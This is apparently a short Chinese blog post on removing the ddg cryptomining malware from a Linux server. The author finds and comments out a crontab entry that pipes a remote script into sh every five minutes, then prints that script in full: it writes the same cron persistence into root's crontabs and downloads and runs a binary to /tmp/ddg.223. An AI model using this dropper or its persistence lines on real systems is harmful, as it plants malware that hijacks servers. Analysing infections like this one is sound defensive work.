查杀病毒实战----------------》ddg.223 and AnXQV

htop 发现导常：

接着发现可疑进程:

首先检测crontab,发现问题：

# crontab -l
*/5 * * * * curl -fsSL http://www.bdyutiudwj.com/i.sh?1 | sh

注释掉计划任务！！！

# crontab -l
#*/5 * * * * curl -fsSL http://www.bdyutiudwj.com/i.sh?1 | sh

把把脚本下载下来:

查看一下内容：

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://www.bdyutiudwj.com/i.sh?1 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.bdyutiudwj.com/i.sh?1 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.223" ]; then
    curl -fsSL http://www.bdyutiudwj.com/ddg.$(uname -m) -o /tmp/ddg.223
fi
chmod +x /tmp/ddg.223 && /tmp/ddg.223
